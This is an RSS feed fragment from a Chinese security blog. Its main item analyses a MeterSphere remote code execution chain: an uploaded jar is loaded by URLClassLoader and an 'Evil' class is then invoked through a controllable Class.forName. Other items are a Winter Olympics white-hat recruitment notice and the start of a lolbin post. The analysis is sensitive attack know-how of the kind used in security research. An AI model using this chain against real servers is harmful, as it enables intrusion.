src="https://wechat2rss.xlab.app/img-proxy/?k=5a1a9495&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibojV0ZDyCTR3Q31ruyicUmFwH1M8IGB2vw1yzsErf0YICDhicUiciatuZA8S7TtNhrFibviampibHibNR9Lpw%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p><br/></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">io.metersphere.commons.utils.FileUtils#create</code>将上传的文件拼接写入到 <code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">/opt/metersphere/data/body/plugin</code> 目录下</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><br/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.5420660276890309" data-s="300,640" style="" data-type="png" data-w="939" src="https://wechat2rss.xlab.app/img-proxy/?k=c3261ba2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibojV0ZDyCTR3Q31ruyicUmFwSm4tf4h2WYUfqiaOIU8SnwyLhuviaW7PyGbboHshevKBVNCCGOXLp5SA%2F640%3Fwx_fmt%3Dpng"/></p><p><br/></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">文件名形如<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">/opt/metersphere/data/body/plugin/490fb08a-eae3-4414-a991-09f16f5b8f5e_test.jar</code></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">写入之后进入<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">io.metersphere.service.PluginService#getMethod</code><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6638176638176638" data-s="300,640" style="text-align: center;letter-spacing: 0.1em;" data-type="png" data-w="702" src="https://wechat2rss.xlab.app/img-proxy/?k=fc872481&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibojV0ZDyCTR3Q31ruyicUmFwzSwD4U2opVhAgtz2Xn3x9MPr7Jibqs91OAvpgl7n4NriahtWKyCpiac3Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">继续跟进<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">this.loadJar()</code><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6948228882833788" data-s="300,640" style="text-align: center;letter-spacing: 0.1em;" data-type="png" data-w="734" src="https://wechat2rss.xlab.app/img-proxy/?k=d2b94839&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibojV0ZDyCTR3Q31ruyicUmFwvS74QlaiaaMcqgXI3XUZleian9jvLZxNnuNoCaP4jEHibQDUMib5ic7ZQXg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">这里将上传的文件通过URLClassLoader加载进来，那么我们可以通过上传jar包，向内存中注册任意类。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">接下来再看<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">io.metersphere.controller.PluginController#customMethod</code></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">跟进到<code style="box-sizing: border-box;padding: 3px 5px;color: rgb(221, 17, 68);line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-size: 13.5px;background: rgba(27, 31, 35, 0.05);border-radius: 4px;">io.metersphere.service.PluginService#customMethod</code></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><br/></p><p style="text-align: center;"><br/></p><p><br/></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">Class.forName参数可控，我们可以在上文的jar包中写一个customMethod函数，这样就可以执行任意java代码了。</p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;">整个流程就是写一个Evil类，类中定义一个customMethod函数，打成jar包上传来向内存中注册class，然后通过customMethod路由调用jar包中的Evil类customMethod函数。</p><h1 style="box-sizing: border-box;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;font-weight: bold;white-space: normal;text-align: center;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;display: table;border-bottom: 1px solid rgb(248, 57, 41);">复现截图</h1><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><br/></p><p style="text-align: center;"><br/></p><p><br/></p><section><br/></section><p cid="n69" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.75rem;orphans: 4;margin-bottom: 1.25rem;color: rgb(17, 17, 17);font-size: 1rem;white-space: pre-wrap;text-align: center;"><span md-inline="code" spellcheck="false" style="font-size: 1rem;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;"><span style="color: rgb(17, 17, 17);font-size: 16px;orphans: 4;text-align: center;white-space: pre-wrap;">分享、点赞、</span>在<span style="color: rgb(17, 17, 17);font-size: 16px;orphans: 4;text-align: center;white-space: pre-wrap;">看就是对我们的一种支持！</span></span></span></span></span></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg wxw-img" data-ratio="0.36484375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d8806ef3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FzleycDibFeibp8YjH4BpZodsIJmZOG8Cc3sbuM3IMcxPurjryDzTA8WTHZTNIXvP1SUVvWh0PzSTxssDxmwydNrQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 1.5em 8px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;"><br/></p>



<p><a href="2247486235">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=ff1459b0&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU0ODg2MDA0NQ%3D%3D%26mid%3D2247486235%26idx%3D1%26sn%3D6bf18328ddc2feb8f23fa1298e38d0d8%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 13 Jan 2022 11:10:00 +0800</pubDate>
    </item>
    <item>
      <title>冬奥网络安全卫士招募正式启动！</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&amp;mid=2247486221&amp;idx=1&amp;sn=c4d2a45764bbba5a091382d3474d4763</link>
      <description>12月16日，北京冬奥组委技术部组织招募白帽黑客作为“冬奥网络安全卫士”参与北京冬奥会网络安全工作。</description>
      <content:encoded><![CDATA[<p>
<span>ChaBug</span> <span>2021-12-17 10:00</span> <span style="display: inline-block;"></span>
</p>

<p>12月16日，北京冬奥组委技术部组织招募白帽黑客作为“冬奥网络安全卫士”参与北京冬奥会网络安全工作。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=31086f3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeibr1kZQookfcbJn1ib2AYDJP3llgGYiaYl3kKFOnUXsLSYyJJNtPW7w5l5o6QSnzCA9tDk68xJtTUYgg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section data-tplid="107210" data-tools="135编辑器"><section style="background-color: #f3f8ff;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/JaFvPvvA2J0zFWzPj8I1GAibRJ1W4vTiaXY3icicwJSDxtFUyb7TqyqUHaCkXUolibgAIOR5bVDE7Sq36jEHic4f1stA/640?wx_fmt=gif&#34;);background-repeat: repeat-y;background-size: 100%;"><section data-role="paragraph"><p style="text-align:center;vertical-align:inherit;"><img class="rich_pages wxw-img" data-ratio="0.33136094674556216" width="338" data-type="png" data-w="338" height="112" style="box-sizing:border-box;vertical-align: inherit;width: 338px;height: 112px;" src="https://wechat2rss.xlab.app/img-proxy/?k=c842d275&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FAwa2uT3lEXNYPribbTaEvyN4dWR9bkklVibM1IFfGOUf3svQwhPE3vmFpwGuLibIomkhJIaAaeUKgQGpAAywngib3g%2F640%3Fwx_fmt%3Dpng"/></p></section><section style="margin-right: 10px;margin-left: 10px;"><section><p style="text-align:justify;vertical-align: inherit;font-size: 14px;line-height: 28px;letter-spacing: 1.5px;color: rgb(114, 145, 223);"><span style="font-size: 15px;"><span style="color: #1043b0;text-indent: 32px;caret-color: red;">    奥运史上首次公开招募白帽黑客共同守护冬奥网络安全。12月16日，北京冬奥组委技术部组织招募白帽黑客作为“冬奥网络安全卫士”参与北京冬奥会网络安全工作，由北京2022年冬奥会官方赞助商奇安信及旗下补天漏洞响应平台提供技术平台和运营支持。</span><strong style="color: #1043b0;text-indent: 32px;caret-color: red;">这将是白帽黑客第一次有机会在冬奥会这一世界顶级体育赛事中贡献自己的力量。</strong></span></p><p style="text-align:justify;vertical-align: inherit;font-size: 14px;line-height: 28px;letter-spacing: 1.5px;color: rgb(114, 145, 223);"><br/></p></section><section data-role="paragraph"><p style="text-align:center;vertical-align: inherit;"><img class="rich_pages wxw-img" data-ratio="0.4009433962264151" width="424" data-type="png" data-w="424" height="166" style="box-sizing:border-box;vertical-align: inherit;width: 424px;height: 166px;" title="主图.png" src="https://wechat2rss.xlab.app/img-proxy/?k=51f2dead&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FAwa2uT3lEXNYPribbTaEvyN4dWR9bkklVrkdoZeU1cYap2lFicPNMBrKVT3955kRVQL1JYHGxjfPbUVhU2LsESmg%2F640%3Fwx_fmt%3Dpng"/></p></section><section data-tools="135编辑器" data-id="107716"><section style="text-align: center;margin: 10px auto;"><section style="display: flex;justify-content: center;align-items: flex-start;"><section style="box-sizing:border-box;width: 18px;margin-right: -6px;"><img data-w="282" data-type="gif" data-width="100%" style="box-sizing:border-box;vertical-align:inherit;width: 100%;display: block;" data-ratio="1.0638297872340425" src="https://wechat2rss.xlab.app/img-proxy/?k=846dc045&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FAwa2uT3lEXNYPribbTaEvyN4dWR9bkklVlNiaw9joCBhlkDp77iaFia6Ub9Wd2jud2aQNica5DS35nAibRxcMGyaibLLA%2F640%3Fwx_fmt%3Dgif"/></section><section style="display: inline-block;"><section style="background: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/Awa2uT3lEXNYPribbTaEvyN4dWR9bkklV3Wia6JKkDQzC4GHwJlEadFaX2j3zrHmIVpdUdbrjU5HwXCruvib8FODA/640?wx_fmt=png&#34;) left center / 140px no-repeat;padding: 6px 27px 6px 7px;"><p style="vertical-align: inherit;font-size: 16px;letter-spacing: 1.5px;"><span style="color: #1043b0;font-size: 17px;"><strong>北京打造科技冬奥</strong></span></p><p style="vertical-align: inherit;font-size: 16px;letter-spacing: 1.5px;"><span style="color: #1043b0;font-size: 17px;"><strong>网络安全不容忽视</strong></span></p></section></section></section></section></section><section><section style="text-align: center;margin: 10px auto;"><section style="border-width: 1px;border-style: solid;border-color: rgb(202, 216, 250);padding-right: 20px;padding-bottom: 20px;padding-left: 20px;margin-top: 20px;box-sizing: border-box;"><section data-autoskip="1" style="text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#5d7fd4;background: transparent;"><p style="vertical-align:inherit;text-indent:32px;"><br/></p><p style="vertical-align:inherit;text-indent:32px;"><span style="text-decoration-style: solid;text-decoration-color: rgb(93, 127, 212);color: rgb(16, 67, 176);font-size: 15px;font-family: 微软雅黑, sans-serif;">继2008年成功举办过夏季奥运会，北京将在50天后举办冬季奥运会，成为真正的“双奥之城”。作为<strong>全球首次5G全覆盖的冬奥会</strong>，比赛场馆的运动科技，“5G+8K”、VR虚拟导览系统的智慧观赛等，为即将开幕的北京冬奥会增添了十足的科技感。</span></p><p style="vertical-align:inherit;text-indent:32px;"><span style="text-decoration-style: solid;text-decoration-color: rgb(93, 127, 212);color: rgb(16, 67, 176);font-size: 15px;font-family: 微软雅黑, sans-serif;">5G和物联网的全面应用，使网络安全成为冬奥会成功举办的重要保障，<strong>北京2022年冬奥会和冬残奥会赞助商体系中首设网络安全类别</strong>，奇安信也由此成为奥林匹克历史上第一个网络安全服务和杀毒软件官方赞助商。</span></p><p style="vertical-align:inherit;text-indent:32px;"><span style="text-decoration-style: solid;text-decoration-color: rgb(93, 127, 212);color: rgb(16, 67, 176);font-size: 15px;font-family: 微软雅黑, sans-serif;">冬奥会的网络安全需求更加复杂，作为一个完全开放的系统，面临着四大难点：基础设施多，防守面积大；赛会场馆多，地域分布广；专业系统多，厂商国际化；参会人员多，持续时间长。</span></p><p style="vertical-align:inherit;text-indent:32px;"><span style="background-color: transparent;color: #1043b0;font-size: 15px;caret-color: red;">目前，北京冬奥会筹办工作已进入最后的决战决胜阶段，为做好北京冬奥会网络安全工作、集结更多网络安全保卫力量，北京冬奥组委技术部牵头组织数百名网络安全专业人员，作为“冬奥网络安全卫士”，共同参与北京冬奥会网络安全工作，为守护冬奥网络安全贡献专业力量。</span></p><span style="text-decoration-style: solid;text-decoration-color: rgb(93, 127, 212);color: rgb(16, 67, 176);font-size: 15px;font-family: 微软雅黑, sans-serif;"><strong>     </strong><strong>冬奥会公开招募白帽力量参与网络安全工作尚属首次。“冬奥网络安全卫士”需通过补天平台，在可信可管可控的情况下，线上参与工作，为冬奥网络安全提供支持。</strong></span></section></section></section></section><section><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><section data-tools="135编辑器" data-id="107716"><section style="text-align: center;margin: 10px auto;"><section style="display: flex;justify-content: center;align-items: flex-start;"><section style="box-sizing:border-box;width: 18px;margin-right: -6px;"><img data-w="282" data-type="gif" data-width="100%" style="box-sizing:border-box;vertical-align:inherit;width: 100%;display: block;" data-ratio="1.0638297872340425" src="https://wechat2rss.xlab.app/img-proxy/?k=846dc045&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FAwa2uT3lEXNYPribbTaEvyN4dWR9bkklVlNiaw9joCBhlkDp77iaFia6Ub9Wd2jud2aQNica5DS35nAibRxcMGyaibLLA%2F640%3Fwx_fmt%3Dgif"/></section><section style="display: inline-block;"><section style="background: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/Awa2uT3lEXNYPribbTaEvyN4dWR9bkklV3Wia6JKkDQzC4GHwJlEadFaX2j3zrHmIVpdUdbrjU5HwXCruvib8FODA/640?wx_fmt=png&#34;) left center / 140px no-repeat;padding: 6px 27px 6px 7px;"><p style="vertical-align: inherit;font-size: 16px;letter-spacing: 1.5px;"><span style="color: #1043b0;font-size: 17px;"><strong>受聘白帽精英“万里挑一”</strong></span></p><p style="vertical-align: inherit;font-size: 16px;letter-spacing: 1.5px;"><span style="background-color: initial;caret-color: red;color: #1043b0;font-size: 17px;"><strong>北京冬奥组委技术部</strong></span></p><p style="vertical-align: inherit;font-size: 16px;letter-spacing: 1.5px;"><strong style="background-color: initial;caret-color: red;color: #1043b0;font-size: 17px;">将颁发正式聘书</strong></p></section></section></section></section></section></section><section><section style="text-align: center;margin: 10px auto;"><section style="border-width: 1px;border-style: solid;border-color: rgb(202, 216, 250);padding-right: 20px;padding-bottom: 20px;padding-left: 20px;margin-top: 20px;box-sizing: border-box;"><p style="vertical-align:inherit;"><br/></p><section data-autoskip="1" style="text-align: justify;line-height:1.75em;letter-spacing: 1.5px;font-size:14px;color:#7291df;background: transparent;"><p style="vertical-align:inherit;text-indent:32px;"><span style="font-size: 15px;"><span style="text-decoration-style: solid;text-decoration-color: rgb(93, 127, 212);color: rgb(16, 67, 176);font-family: 微软雅黑, sans-serif;"><strong>本次招募面向年满18周岁的中国公民</strong></span><span style="text-decoration-style: solid;text-decoration-color: rgb(114, 145, 223);color: rgb(16, 67, 176);font-family: 微软雅黑, sans-serif;">，无论你是就读于网络安全相关专业的学生，还是潜心“挖洞”的技术爱好者，均可报名。</span></span></p><p style="vertical-align:inherit;text-indent:32px;"><span style="font-size: 15px;"><span style="text-decoration-style: solid;text-decoration-color: rgb(114, 145, 223);color: rgb(16, 67, 176);font-family: 微软雅黑, sans-serif;">国内最大的第三方漏洞响应平台补天漏洞响应平台目前已有注册白帽专家9万人，再加上计算机、网络安全专业学生，及有志向为冬奥会贡献力量的各行业人士，预计</span><span style="text-decoration-style: solid;text-decoration-color: rgb(93, 127, 212);color: rgb(16, 67, 176);font-family: 微软雅黑, sans-serif;"><strong>“冬奥网络安全卫士”的招募将是“万里挑一”</strong></span><span style="text-decoration-style: solid;text-decoration-color: rgb(114, 145, 223);color: rgb(16, 67, 176);font-family: 微软雅黑, sans-serif;">。</span></span></p><span style="text-decoration-style: solid;text-decoration-color: rgb(114, 145, 223);color: rgb(16, 67, 176);font-size: 15px;font-family: 微软雅黑, sans-serif;">     这将是一支由知名漏洞平台的顶级白帽、在网络安全大赛中获得奖项的实力白帽、为企业SRC做出突出贡献的资深白帽等<strong>组成的“中国网安力量”，共同参与冬奥网络安全守护</strong>。</span><p style="vertical-align:inherit;"><br/></p><p style="text-align:center;vertical-align: inherit;"><img class="rich_pages wxw-img" data-w="155" data-type="png" height="155" style="box-sizing:border-box;vertical-align: inherit;width: 155px;height: 155px;" title="官网二维码.png" width="155" data-ratio="1" src="https://wechat2rss.xlab.app/img-proxy/?k=7ea1361c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FAwa2uT3lEXNYPribbTaEvyN4dWR9bkklVDfTMYC749FVEjMk8FYyEJvKr6ylDU4sdxibvHT1FM8Wqzuib6TFicR3Ag%2F640%3Fwx_fmt%3Dpng"/></p><section data-tools="135编辑器" data-id="103996" data-color="#3a77c7"><section style="text-align: center;margin: 10px auto;"><section data-brushtype="text" style="font-size: 16px;color: rgb(58, 119, 199);margin-top: 3px;"><span style="color:#1043b0;"><strong>-扫码立即报名</strong></span><span style="color:#1043b0;"><strong>-</strong></span></section></section></section></section></section></section></section><section data-role="paragraph" style="text-align: center;"><section data-role="paragraph"><p style="vertical-align:inherit;"><br/></p></section><section data-tools="135编辑器" data-id="107716"><section style="margin: 10px auto;"><section style="display: flex;justify-content: center;align-items: flex-start;"><section style="box-sizing:border-box;width: 18px;margin-right: -6px;"><img data-w="282" data-type="gif" data-width="100%" style="box-sizing:border-box;vertical-align:inherit;width: 100%;display: block;" data-ratio="1.0638297872340425" src="https://wechat2rss.xlab.app/img-proxy/?k=846dc045&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FAwa2uT3lEXNYPribbTaEvyN4dWR9bkklVlNiaw9joCBhlkDp77iaFia6Ub9Wd2jud2aQNica5DS35nAibRxcMGyaibLLA%2F640%3Fwx_fmt%3Dgif"/></section><section style="display: inline-block;"><section style="background: url(&#34;https://mmbiz.qpic.cn/mmbiz_png/Awa2uT3lEXNYPribbTaEvyN4dWR9bkklV3Wia6JKkDQzC4GHwJlEadFaX2j3zrHmIVpdUdbrjU5HwXCruvib8FODA/640?wx_fmt=png&#34;) left center / 140px no-repeat;padding: 6px 27px 6px 7px;"><p style="vertical-align: inherit;letter-spacing: 1.5px;"><span style="color:#1043b0;"><strong>感谢以下行业伙伴的支持</strong></span></p></section></section></section></section></section><section style="box-sizing:border-box;width:100%;" data-width="100%"><p style="text-align:center;vertical-align: inherit;margin-top: 5px;font-size: 18px;color: rgb(114, 145, 223);line-height: 28px;"><img class="rich_pages wxw-img" data-ratio="2.91725768321513" width="423" data-type="png" data-w="423" height="1294" style="box-sizing:border-box;caret-color: red;letter-spacing: 1.5px;vertical-align: inherit;width: 423px;height: 1294px;" title="合作logo.png" src="https://wechat2rss.xlab.app/img-proxy/?k=2ce9381e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FAwa2uT3lEXNYPribbTaEvyN4dWR9bkklVB1LJqkXLhEATPKMfCoo346HN0rXib7Bk24T4WibD2khiasDO7ljficFD5Q%2F640%3Fwx_fmt%3Dpng"/><br/></p></section></section><section data-role="paragraph"><p style="text-align:center;vertical-align:inherit;"><img class="rich_pages wxw-img" data-ratio="0.49774774774774777" width="444" data-type="png" data-w="444" height="215" style="box-sizing:border-box;vertical-align: inherit;width: 444px;height: 215px;" title="0880c08b0110edb48114.png" src="https://wechat2rss.xlab.app/img-proxy/?k=1a8a3deb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FAwa2uT3lEXNYPribbTaEvyN4dWR9bkklVp195qvSyG3LcJZQF0f5SkHyG8bwNvWb1wBkJsoSqloZIJPtHzncD3g%2F640%3Fwx_fmt%3Dpng"/></p></section><section><section style="text-align: center;margin: 10px auto;"><section style="box-sizing:border-box;width: 35px;margin: auto;"><img data-w="846" data-type="png" data-width="100%" style="box-sizing:border-box;vertical-align:inherit;width: 100%;display: block;" title="10.png" data-ratio="1.511820330969267" src="https://wechat2rss.xlab.app/img-proxy/?k=6d9c38a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FAwa2uT3lEXNYPribbTaEvyN4dWR9bkklV4nuQdhXGhbD83nAr2yDqVDjjEf6xAcxER8qxqkMdJ4LG0YF06OCzPQ%2F640%3Fwx_fmt%3Dpng"/></section><section data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;color: #5d7fd4;margin-top: 3px;"><span style="color: #1043b0;">END</span></section></section></section></section></section></section><p><br/></p>



<p><a href="2247486221">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a2c6b766&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU0ODg2MDA0NQ%3D%3D%26mid%3D2247486221%26idx%3D1%26sn%3Dc4d2a45764bbba5a091382d3474d4763%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 17 Dec 2021 10:00:00 +0800</pubDate>
    </item>
    <item>
      <title>WorkFolders.exe 一个新的lolbin</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU0ODg2MDA0NQ==&amp;mid=2247486188&amp;idx=1&amp;sn=f967d3a558c51f2b60aedbc7a0bebf7c</link>
      <description>逛推特发现一个新的lolbin</description>
      <content:encoded><![CDATA[<p>
<span>Y4er</span> <span>2021-10-22 09:06</span> <span style="display: inline-block;"></span>
</p>

<p>逛推特发现一个新的lolbin</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=04b44aa9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FzleycDibFeibqaPsAia51TbTjjCV7vNUfAX20ITfAnBDnqKnDAz0HTr89nKHxCggw6oceJL0prMoLHich01k1Fnr0g%2F0%3Fwx_fmt%3Djpeg"/>
</p>


